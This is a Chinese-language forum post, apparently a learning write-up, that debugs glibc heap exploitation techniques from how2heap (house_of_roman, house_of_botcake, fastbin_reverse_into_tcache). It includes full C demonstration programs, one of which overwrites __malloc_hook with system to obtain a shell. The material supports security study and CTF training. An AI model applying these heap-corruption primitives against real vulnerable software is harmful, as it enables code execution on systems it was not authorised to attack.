首页
论坛
课程
招聘
[原创]how2heap调试学习(三)
2020-12-6 12:30 4770

[原创]how2heap调试学习(三)

2020-12-6 12:30
4770

字数限制,分开发了

代码:https://github.com/yichen115/how2heap_zh

代码翻译自 how2heap:https://github.com/shellphish/how2heap

本文语雀文档地址:https://www.yuque.com/hxfqg9/bin/ape5up

每个例子开头都标着测试环境


how2heap调试学习(一)

how2heap调试学习(二)


house_of_orange

ubuntu16.04 glibc 2.23


直接看之前的文章吧:[原创]PWN堆利用:House Of Orange


house_of_roman

ubuntu16.04 glibc 2.23

#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

void* init(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

int main(){
    char* introduction = "\n欢迎学习 House of Roman\n\n"
                 "这是一种无泄漏的堆利用技术\n"
                 "攻击分为三个阶段: \n\n"
                 "1. 通过低位地址改写使 fastbin chunk 的 fd 指针指向 __malloc_hook.\n"
                 "2. 通过 unsortedbin attack 把 main_arena 写到 malloc_hook 上.\n"
                 "3. 通过低位地址修改 __malloc_hook 为 one_gadget.\n\n";
    puts(introduction); 
    init();

    puts("第一步: 让 fastbin chunk 的 fd 指针指向 __malloc_hook\n\n");
    puts("总共申请了 4 个 chunk,分别称为 chunk1、2、3、4,我感觉 chunk123 比一串英文更好记 Orz\n注意我们去 malloc 的时候指针所指向的类型是 uint8_t,实际上就是 char,一个字节\n");
    uint8_t* chunk1 = malloc(0x60); //chunk1
    malloc(0x80); //chunk2
    uint8_t* chunk3 = malloc(0x80); //chunk3
    uint8_t* chunk4 = malloc(0x60); //chunk4
    
    puts("free 掉 chunk3,会被放进 unsorted bin 中,在他的 fd、bk 将变为 unsorted bin 的地址");
    free(chunk3);

    puts("这时候去 malloc 一个(chunk3_1),会从 unsorted bin 中分割出来,同时我们也拿到了 unsorted bin 的地址\n");
    uint8_t* chunk3_1 = malloc(0x60); 
    puts("通过 unsorted bin 的地址计算出 __malloc_hook\n");
    long long __malloc_hook = ((long*)chunk3_1)[0] - 0xe8;

    free(chunk4); 
    free(chunk1);
    puts("依次释放掉 chunk4、chunk1,后进先出,这时候 fastbin 链表是:fastbin 0x70 -> chunk1 -> chunk4\n");
    puts("如果改掉 chunk1 的 fd 指针最后一个字节为 0,这个链表将会变为:fastbin 0x70 -> chunk1 -> chunk3_1 -> chunk3_1 的 fd\n");
    chunk1[0] = 0x00;
    
    puts("chunk3_1 的 fd 是我们可以修改掉的,通过修改后几位,将其改为 __malloc_hook - 0x23\n");
    long long __malloc_hook_adjust = __malloc_hook - 0x23; 

    int8_t byte1 = (__malloc_hook_adjust) & 0xff;   
    int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 
    chunk3_1[0] = byte1;
    chunk3_1[1] = byte2;

    puts("接下来连续 malloc 两次,把 fastbin 中的 chunk malloc 回去,再次 malloc 就能拿到一个指向 __malloc_hook 附近的 chunk()\n");
    malloc(0x60);
    malloc(0x60);
    uint8_t* malloc_hook_chunk = malloc(0x60);  
    puts("在真正的漏洞利用中,由于 malloc_hook 的最后半字节是随机的,因此失败了15/16次\n"); 

    puts("第二步:Unsorted_bin attack,使我们能够将较大的值写入任意位置。 这个较大的值为 main_arena + 0x68。 我们通过 unsorted bin attack 把 __malloc_hook 写为 unsortedbin 的地址,这样只需要改低几个字节就可以把 __malloc_hook 改为 system 的地址了。\n");

    uint8_t* chunk5 = malloc(0x80);   
    malloc(0x30); // 防止合并

    puts("把 chunk 放到 unsorted_bin\n");
    free(chunk5);

    __malloc_hook_adjust = __malloc_hook - 0x10; 
    byte1 = (__malloc_hook_adjust) & 0xff;  
    byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 

    puts("覆盖块的最后两个字节使得 bk 为 __malloc_hook-0x10\n");
    chunk5[8] = byte1;
    chunk5[9] = byte2;

    puts("触发 unsorted bin attack\n");
    malloc(0x80); 

    long long system_addr = (long long)dlsym(RTLD_NEXT, "system");
    //这个 dlsym 是用来获得 system 地址的
    puts("第三步:将 __malloc_hook 设置为 system/one_gadget\n\n");
    puts("现在,__malloc_hook 的值是 unsortedbin 的地址,只需要把后几位改掉就行了\n");
    malloc_hook_chunk[19] = system_addr & 0xff;
    malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;
    malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;
    malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; 
    puts("拿到 Shell!");
    malloc((long long)shell);
}

编译 gcc -g 1.c -ldl


一开始 malloc 了 4 块 chunk(这里称为 chunk1\2\3\4)

image.png

free 掉 chunk3,因为它的大小不属于 fastbin 的范围,所以放到了 unsorted bin 中,所以他的 fd、bk 指针指向了 unsorted bin 的地址

image.png

再去 malloc 回来一个 0x60 大小的 chunk,会从之前的那个 unsorted bin 中划分出来(这块就叫 chunk3_1)

image.png

计算出 __malloc_hook 的地址,完全是根据偏移算出来的

image.png

free 掉 chunk4 和 chunk1

把 chunk1 的 fd 指针的末尾改为 0x00,这样它的 fd 指针就指向了 chunk3_1,同时把 chunk3_1 的 fd 从本来的 unsorted bin 的地址改为 __malloc_hook - 0x23

image.png

malloc 两次时候再去 malloc 的时候就会申请到修改的 fd 指针那里,也就是 __malloc_hook - 0x23

(这个 chunk 称为 malloc_hook_chunk)

image.png

再去 malloc 一个用 chunk5 来进行 unsorted bin attack(后面还申请一个 0x30 的防止与 top chunk 合并)

free 之后修改 chunk5 的 bk 指针为 __malloc_hook - 0x10

image.png

然后 malloc 执行 unsorted bin attack,把 malloc_hook 改为 unsorted bin 的地址

(这么做应该是因为没法泄漏 libc 基址,所以通过这种方法把高位的几个字节直接放好,只修改后面的就行了)

image.png

修改低几个字节,把 system 或者 one_gadget 的地址通过前面的 malloc_hook_chunk 写入 __malloc_hook

image.png

这样 __malloc_hook 就是 system 的地址了,然后去 malloc 的时候就能拿到 shell 了

image.png


下面这几个都发过了,就放个链接不占用资源了


tcache_dup

ubuntu18.04 glibc 2.27


[原创]#30天写作挑战#Tcache Attack原理学习


tcache_poisoning

ubuntu18.04 glibc 2.27


[原创]#30天写作挑战#Tcache Attack原理学习


tcache_house_of_spirit

ubuntu18.04 glibc 2.27


[原创]#30天写作挑战#Tcache Attack原理学习


tcache_stashing_unlink_attack

ubuntu18.04 glibc 2.27


[原创]#30天写作挑战#Tcache Attack原理学习


house_of_botcake

ubuntu20.04 glibc 2.31

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    puts("house_of_botcake 是针对 glibc2.29 对 tcache double free 做出限制以后提出的利用方法");
    intptr_t stack_var[4];
    printf("我们希望 malloc 到的地址是 %p.\n\n", stack_var);

    puts("malloc 7 个 chunk 以便稍后填满 tcache");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }

    intptr_t *prev = malloc(0x100);
    printf("malloc(0x100): prev=%p. 待会用\n", prev); 
    intptr_t *a = malloc(0x100);
    printf("再 malloc(0x100): a=%p. 作为攻击的 chunk\n", a); 
    puts("最后 malloc(0x10) 防止与 top chunk 合并\n");
    malloc(0x10);
    
    puts("接下来构造 chunk overlapping");
    puts("第一步: 填满 tcache 链表");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("第二步: free 掉 chunk a,放入 unsorted bin 中");
    free(a);
    
    puts("第三步: 释放掉 chunk prev 因为后面是一个 free chunk,所以他会与 chunk a 合并");
    free(prev);
    
    puts("第四步: 这时候已经没有指向 chunk a 的指针了,从 tcache 中取出一个,然后再次 free(a) 就把 chunk a 加入到了 tcache 中,造成了 double free \n");
    malloc(0x100);
    free(a);

    puts("再去 malloc 一个 0x120 会从 unsorted bin 中分割出来,也就控制了前面已经合并的那个 chunk a 了");
    intptr_t *b = malloc(0x120);
    puts("把 chunk a 的指针给改为前面声明的 stack_var 的地址");
    b[0x120/8-2] = (long)stack_var;
    malloc(0x100);
    puts("去 malloc 一个就能申请到 stack_var 了");
    intptr_t *c = malloc(0x100);
    printf("新申请的 chunk 在:%p\n", c);
    return 0;
}

这是 glibc2.29 对 tcache double free 做出限制以后提出的利用方法

程序定义了一个 stack_var,希望能够控制 malloc 到这里去

一开始先申请了 7 个 chunk,是为了能够天充满一个 tcache 链表

然后申请了一个 chunk prev 一个 chunk a,待会就会对 chunk a 进行 double free

首先把那 7 个给 free 掉,填满 tcache 链表

image.png

那接下来释放的 chunk a 会放到 unsorted bin 中

image.png

再去释放 chunk prev 的时候两个会合并

image.png

此时已经没有指向 chunk a 的了,malloc 一次从 tcache 中去除一个来

image.png

再去 free a 就能把 chunk a 放进 tcache 链表中

image.png

而 chunk a 已经跟 chunk prev合起来放在 unsorted bin 中了

当再去 malloc 一个比较大的(比如 0x120)会去 unsorted bin 中切割,因为本来 chunk prev 是 0x100,后面的属于 chunk a 的了,也就是 chunk overlapping 改掉了 chunk a 的 fd 指针

image.png

那去申请一个返回 chunk a,再申请的时候就是 chunk a 的 fd 指向的那里了,也就是 stack_var

image.png

fastbin_reverse_into_tcache

ubuntu18.04 glibc 2.27

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
  setbuf(stdout, NULL);
  printf("\n想要实现类似 unsorted bin attack 的效果\n\n");

  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf("首先 free 七次填满 tcache 链表\n\n");
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }

  char* victim = ptrs[7];
  printf("接下来要释放的这个 %p 因为 tcache 已经满了,所以不会放到 tcache 里边,进入 fastbin 的链中\n\n",victim);
  free(victim);

  printf("接下来,我们需要释放1至6个指针。 这些也将进入fastbin。 如果要覆盖的堆栈地址不为零,则需要再释放6个指针,否则攻击将导致分段错误。 但是,如果堆栈上的值为零,那么一个空闲就足够了。\n\n");
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }

  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));
  printf("定义了一个栈上面的数组,我们打算修改的地址是 %p,现在的值是 %p\n",&stack_var[2],(char*)stack_var[2]);

  printf("假设存在堆溢出或者 UAF 之类的漏洞能修改 %p 的 fd 指针为 stack_var 的地址\n\n",victim);
  *(size_t**)victim = &stack_var[0];

  printf("接下来 malloc 7 次清空 tcache\n\n");
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf("下面输出一下 stack_var 的内容,看一下现在是啥\n\n");
  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  printf("\n目前 tcache 为空,但 fastbin 不是,因此下一个分配来自 fastbin。另外,fastbin 中的 7 个块用于重新填充 tcache。这 7 个块以相反的顺序复制到 tcache 中,因此我们所针对的堆栈地址最终成为 tcache 中的第一个块。 它包含一个指向列表中下一个块的指针,这就是为什么将堆指针写入堆栈的原因。 前面我们说过,如果释放少于6个额外的指向fastbin的指针,但仅当堆栈上的值为零时,攻击也将起作用。 这是因为堆栈上的值被视为链表中的下一个指针,并且如果它不是有效的指针或为null,它将触发崩溃。 现在,数组在堆栈上的内容如下所示:\n\n"
  );

  malloc(allocsize);

  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  char *q = malloc(allocsize);
  printf("最后再分配一次就得到位于栈上的 chunk %p\n",q);

  assert(q == (char *)&stack_var[2]);
  return 0;
}

一开始 malloc 了 14 个 chunk,free 掉 7 个把 tcache 的链表填满

image.png

接下来 free 的 chunk 因为 tcache 已经满了,所以会放到 fastbin 的链表中,我们将第一个放入 fastbin 的 chunk 称为 victim


在栈上定义了一个数组,希望能 malloc 到这里,假设存在 UAF 或者堆溢出之类的漏洞,能够修改 victim 的 fd 指针为目标地址(即 stack_var)

image.png

然后连续 malloc 把 tcache 清空,再去 malloc 会从 fastbin 中取

image.png

同时会把 fastbin 链表按照相反的顺序插入到 tcache 中,这样 tcache 中的第一个就成了 victim 的 fd 指针指向的那个 stack_var[0],同时 stack_var[0] 的 fd 指针为 victim 的地址

image.png

这时候再 malloc 回来的就是 stack_var[0],而 stack_var[0] 的 fd 指针是 victim 的地址

最终实现的就是:目标地址的 fd+0x10 写上了一个堆的地址

image.png


第五届安全开发者峰会(SDC 2021)议题征集正式开启!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回